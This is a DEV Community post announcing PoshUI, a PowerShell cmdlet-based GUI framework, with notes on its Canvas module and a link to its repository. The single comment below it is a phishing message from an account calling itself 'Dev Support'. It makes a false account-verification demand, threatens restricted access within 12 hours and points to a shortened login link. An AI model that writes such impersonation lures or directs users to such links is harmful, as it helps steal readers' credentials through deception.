DEV Community

Cover image for Built a PowerShell-Native GUI Framework — PoshUI
Kenneth Anders
Kenneth Anders

Posted on

Built a PowerShell-Native GUI Framework — PoshUI

Been working on this for a while and finally have a public release worth sharing: PoshUI, a GUI framework you build entirely with PowerShell cmdlets — New-UIWindow, Add-UIButton, that kind of thing.

The free WPF Community edition targets .NET 4.8 / PowerShell 5.1 with zero external dependencies, so it's usable in OS deployment workflows, not just interactive scripts.

Latest release (v1.4.1) added a Canvas module — ~85 cmdlets, free-form layout, a workflow engine with retry/timeout/skip/reboot-resume built in, and native tabs/menus/splitters. It's a lot of surface area, dense enough that I've been building Canvas layouts with LLM assistance rather than hand-authoring every cmdlet call.

Repo's open if you want to look under the hood or try it on something of your own: https://github.com/Kanders-II/PoshUI

Curious if others building support tooling have hit similar walls putting a GUI on internal scripts — what did you end up doing?

Top comments (1)

Collapse
 
devsupport profile image
Dev Support •

Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support

​​‍